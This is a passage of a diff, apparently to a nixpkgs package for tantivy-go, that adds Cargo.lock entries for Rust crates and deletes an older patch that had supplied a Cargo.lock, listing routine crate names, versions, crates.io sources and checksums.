+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c9e9a38711f559d9e3ce1cdb06dd7c5b8ea546bc90052da6d06bb76da74bb07c"
+
+[[package]]
+name = "time-macros"
+version = "0.2.22"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3526739392ec93fd8b359c8e98514cb3e8e021beb4e5f597b00a0221f8ed8a49"
+dependencies = [
+ "num-conv",
+ "time-core",
+]
+
+[[package]]
+name = "toml"
+version = "0.8.23"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362"
+dependencies = [
+ "serde",
+ "serde_spanned",
+ "toml_datetime",
+ "toml_edit",
+]
+
+[[package]]
+name = "toml_datetime"
+version = "0.6.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "toml_edit"
+version = "0.22.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
+dependencies = [
+ "indexmap",
+ "serde",
+ "serde_spanned",
+ "toml_datetime",
+ "toml_write",
+ "winnow",
+]
+
+[[package]]
+name = "toml_write"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801"
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
+
+[[package]]
+name = "unicode-segmentation"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493"
+
+[[package]]
+name = "utf8-ranges"
+version = "1.0.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7fcfc827f90e53a02eaef5e535ee14266c1d569214c6aa70133a624d8a3164ba"
+
+[[package]]
+name = "utf8parse"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
+
+[[package]]
+name = "uuid"
+version = "1.17.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d"
+dependencies = [
+ "getrandom 0.3.3",
+ "js-sys",
+ "serde",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "version_check"
+version = "0.9.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
+
+[[package]]
+name = "wasi"
+version = "0.11.1+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
+
+[[package]]
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
+dependencies = [
+ "cfg-if",
+ "once_cell",
+ "rustversion",
+ "wasm-bindgen-macro",
+]
+
+[[package]]
+name = "wasm-bindgen-backend"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
+dependencies = [
+ "bumpalo",
+ "log",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
+dependencies = [
+ "quote",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "wasm-bindgen-backend",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "windows-link"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
+
+[[package]]
+name = "windows-sys"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+dependencies = [
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.59.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
+dependencies = [
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.60.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
+dependencies = [
+ "windows-targets 0.53.3",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.6",
+ "windows_aarch64_msvc 0.52.6",
+ "windows_i686_gnu 0.52.6",
+ "windows_i686_gnullvm 0.52.6",
+ "windows_i686_msvc 0.52.6",
+ "windows_x86_64_gnu 0.52.6",
+ "windows_x86_64_gnullvm 0.52.6",
+ "windows_x86_64_msvc 0.52.6",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.53.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91"
+dependencies = [
+ "windows-link",
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
+
+[[package]]
+name = "winnow"
+version = "0.7.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f3edebf492c8125044983378ecb5766203ad3b4c2f7a922bd7dd207f6d443e95"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "zerocopy"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
+dependencies = [
+ "zerocopy-derive",
+]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "zstd"
+version = "0.13.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a"
+dependencies = [
+ "zstd-safe",
+]
+
+[[package]]
+name = "zstd-safe"
+version = "7.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d"
+dependencies = [
+ "zstd-sys",
+]
+
+[[package]]
+name = "zstd-sys"
+version = "2.0.15+zstd.1.5.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237"
+dependencies = [
+ "cc",
+ "pkg-config",
+]
diff --git a/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch b/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch
deleted file mode 100644
index 395a38741d53..000000000000
--- a/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch
+++ /dev/null
@@ -1,1914 +0,0 @@
-diff --git a/rust/Cargo.lock b/rust/Cargo.lock
-new file mode 100644
-index 0000000..6717372
---- /dev/null
-+++ b/rust/Cargo.lock
-@@ -0,0 +1,1908 @@
-+# This file is automatically @generated by Cargo.
-+# It is not intended for manual editing.
-+version = 4
-+
-+[[package]]
-+name = "adler32"
-+version = "1.2.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234"
-+
-+[[package]]
-+name = "ahash"
-+version = "0.8.12"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
-+dependencies = [
-+ "cfg-if",
-+ "once_cell",
-+ "version_check",
-+ "zerocopy",
-+]
-+
-+[[package]]
-+name = "aho-corasick"
-+version = "1.1.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-+dependencies = [
-+ "memchr",
-+]
-+
-+[[package]]
-+name = "allocator-api2"
-+version = "0.2.21"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"
-+
-+[[package]]
-+name = "anstream"
-+version = "0.6.20"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192"
-+dependencies = [
-+ "anstyle",
-+ "anstyle-parse",
-+ "anstyle-query",
-+ "anstyle-wincon",
-+ "colorchoice",
-+ "is_terminal_polyfill",
-+ "utf8parse",
-+]
-+
-+[[package]]
-+name = "anstyle"
-+version = "1.0.11"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd"
-+
-+[[package]]
-+name = "anstyle-parse"
-+version = "0.2.7"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
-+dependencies = [
-+ "utf8parse",
-+]
-+
-+[[package]]
-+name = "anstyle-query"
-+version = "1.1.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2"
-+dependencies = [
-+ "windows-sys 0.60.2",
-+]
-+
-+[[package]]
-+name = "anstyle-wincon"
-+version = "3.0.10"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a"
-+dependencies = [
-+ "anstyle",
-+ "once_cell_polyfill",
-+ "windows-sys 0.60.2",
-+]
-+
-+[[package]]
-+name = "arc-swap"
-+version = "1.7.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457"
-+
-+[[package]]
-+name = "async-trait"
-+version = "0.1.88"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "autocfg"
-+version = "1.5.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
-+
-+[[package]]
-+name = "base64"
-+version = "0.22.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
-+
-+[[package]]
-+name = "bitflags"
-+version = "2.9.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
-+
-+[[package]]
-+name = "bitpacking"
-+version = "0.9.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "4c1d3e2bfd8d06048a179f7b17afc3188effa10385e7b00dc65af6aae732ea92"
-+dependencies = [
-+ "crunchy",
-+]
-+
-+[[package]]
-+name = "bon"
-+version = "3.6.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "33d9ef19ae5263a138da9a86871eca537478ab0332a7770bac7e3f08b801f89f"
-+dependencies = [
-+ "bon-macros",
-+ "rustversion",
-+]
-+
-+[[package]]
-+name = "bon-macros"
-+version = "3.6.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "577ae008f2ca11ca7641bd44601002ee5ab49ef0af64846ce1ab6057218a5cc1"
-+dependencies = [
-+ "darling",
-+ "ident_case",
-+ "prettyplease",
-+ "proc-macro2",
-+ "quote",
-+ "rustversion",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "bumpalo"
-+version = "3.19.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
-+
-+[[package]]
-+name = "byteorder"
-+version = "1.5.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-+
-+[[package]]
-+name = "cbindgen"
-+version = "0.28.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "eadd868a2ce9ca38de7eeafdcec9c7065ef89b42b32f0839278d55f35c54d1ff"
-+dependencies = [
-+ "clap",
-+ "heck",
-+ "indexmap",
-+ "log",
-+ "proc-macro2",
-+ "quote",
-+ "serde",
-+ "serde_json",
-+ "syn 2.0.104",
-+ "tempfile",
-+ "toml",
-+]
-+
-+[[package]]
-+name = "cc"
-+version = "1.2.32"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e"
-+dependencies = [
-+ "jobserver",
-+ "libc",
-+ "shlex",
-+]
-+
-+[[package]]
-+name = "cedarwood"
-+version = "0.4.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "6d910bedd62c24733263d0bed247460853c9d22e8956bd4cd964302095e04e90"
-+dependencies = [
-+ "smallvec",
-+]
-+
-+[[package]]
-+name = "census"
-+version = "0.4.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "4f4c707c6a209cbe82d10abd08e1ea8995e9ea937d2550646e02798948992be0"
-+
-+[[package]]
-+name = "cfg-if"
-+version = "1.0.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
-+
-+[[package]]
-+name = "clap"
-+version = "4.5.43"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "50fd97c9dc2399518aa331917ac6f274280ec5eb34e555dd291899745c48ec6f"
-+dependencies = [
-+ "clap_builder",
-+]
-+
-+[[package]]
-+name = "clap_builder"
-+version = "4.5.43"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c35b5830294e1fa0462034af85cc95225a4cb07092c088c55bda3147cfcd8f65"
-+dependencies = [
-+ "anstream",
-+ "anstyle",
-+ "clap_lex",
-+ "strsim",
-+]
-+
-+[[package]]
-+name = "clap_lex"
-+version = "0.7.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675"
-+
-+[[package]]
-+name = "colorchoice"
-+version = "1.0.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
-+
-+[[package]]
-+name = "core2"
-+version = "0.4.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b49ba7ef1ad6107f8824dbe97de947cbaac53c44e7f9756a1fba0d37c1eec505"
-+dependencies = [
-+ "memchr",
-+]
-+
-+[[package]]
-+name = "crc32fast"
-+version = "1.5.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511"
-+dependencies = [
-+ "cfg-if",
-+]
-+
-+[[package]]
-+name = "crossbeam-channel"
-+version = "0.5.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2"
-+dependencies = [
-+ "crossbeam-utils",
-+]
-+
-+[[package]]
-+name = "crossbeam-deque"
-+version = "0.8.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51"
-+dependencies = [
-+ "crossbeam-epoch",
-+ "crossbeam-utils",
-+]
-+
-+[[package]]
-+name = "crossbeam-epoch"
-+version = "0.9.18"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
-+dependencies = [
-+ "crossbeam-utils",
-+]
-+
-+[[package]]
-+name = "crossbeam-utils"
-+version = "0.8.21"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
-+
-+[[package]]
-+name = "crunchy"
-+version = "0.2.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
-+
-+[[package]]
-+name = "darling"
-+version = "0.21.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d6b136475da5ef7b6ac596c0e956e37bad51b85b987ff3d5e230e964936736b2"
-+dependencies = [
-+ "darling_core",
-+ "darling_macro",
-+]
-+
-+[[package]]
-+name = "darling_core"
-+version = "0.21.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b44ad32f92b75fb438b04b68547e521a548be8acc339a6dacc4a7121488f53e6"
-+dependencies = [
-+ "fnv",
-+ "ident_case",
-+ "proc-macro2",
-+ "quote",
-+ "strsim",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "darling_macro"
-+version = "0.21.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2b5be8a7a562d315a5b92a630c30cec6bcf663e6673f00fbb69cca66a6f521b9"
-+dependencies = [
-+ "darling_core",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "dary_heap"
-+version = "0.3.7"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "04d2cd9c18b9f454ed67da600630b021a8a80bf33f8c95896ab33aaf1c26b728"
-+
-+[[package]]
-+name = "deranged"
-+version = "0.4.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9c9e6a11ca8224451684bc0d7d5a7adbf8f2fd6887261a1cfc3c0432f9d4068e"
-+dependencies = [
-+ "powerfmt",
-+ "serde",
-+]
-+
-+[[package]]
-+name = "downcast-rs"
-+version = "2.0.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ea8a8b81cacc08888170eef4d13b775126db426d0b348bee9d18c2c1eaf123cf"
-+
-+[[package]]
-+name = "either"
-+version = "1.15.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
-+
-+[[package]]
-+name = "env_filter"
-+version = "0.1.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0"
-+dependencies = [
-+ "log",
-+ "regex",
-+]
-+
-+[[package]]
-+name = "env_logger"
-+version = "0.11.8"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "13c863f0904021b108aa8b2f55046443e6b1ebde8fd4a15c399893aae4fa069f"
-+dependencies = [
-+ "anstream",
-+ "anstyle",
-+ "env_filter",
-+ "jiff",
-+ "log",
-+]
-+
-+[[package]]
-+name = "equivalent"
-+version = "1.0.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
-+
-+[[package]]
-+name = "errno"
-+version = "0.3.13"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
-+dependencies = [
-+ "libc",
-+ "windows-sys 0.60.2",
-+]
-+
-+[[package]]
-+name = "fastdivide"
-+version = "0.4.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9afc2bd4d5a73106dd53d10d73d3401c2f32730ba2c0b93ddb888a8983680471"
-+
-+[[package]]
-+name = "fastrand"
-+version = "2.3.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
-+
-+[[package]]
-+name = "fnv"
-+version = "1.0.7"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-+
-+[[package]]
-+name = "foldhash"
-+version = "0.1.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
-+
-+[[package]]
-+name = "fs4"
-+version = "0.8.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f7e180ac76c23b45e767bd7ae9579bc0bb458618c4bc71835926e098e61d15f8"
-+dependencies = [
-+ "rustix 0.38.44",
-+ "windows-sys 0.52.0",
-+]
-+
-+[[package]]
-+name = "futures-core"
-+version = "0.3.31"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
-+
-+[[package]]
-+name = "futures-macro"
-+version = "0.3.31"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "futures-task"
-+version = "0.3.31"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
-+
-+[[package]]
-+name = "futures-util"
-+version = "0.3.31"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
-+dependencies = [
-+ "futures-core",
-+ "futures-macro",
-+ "futures-task",
-+ "pin-project-lite",
-+ "pin-utils",
-+ "slab",
-+]
-+
-+[[package]]
-+name = "fxhash"
-+version = "0.2.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
-+dependencies = [
-+ "byteorder",
-+]
-+
-+[[package]]
-+name = "getrandom"
-+version = "0.2.16"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
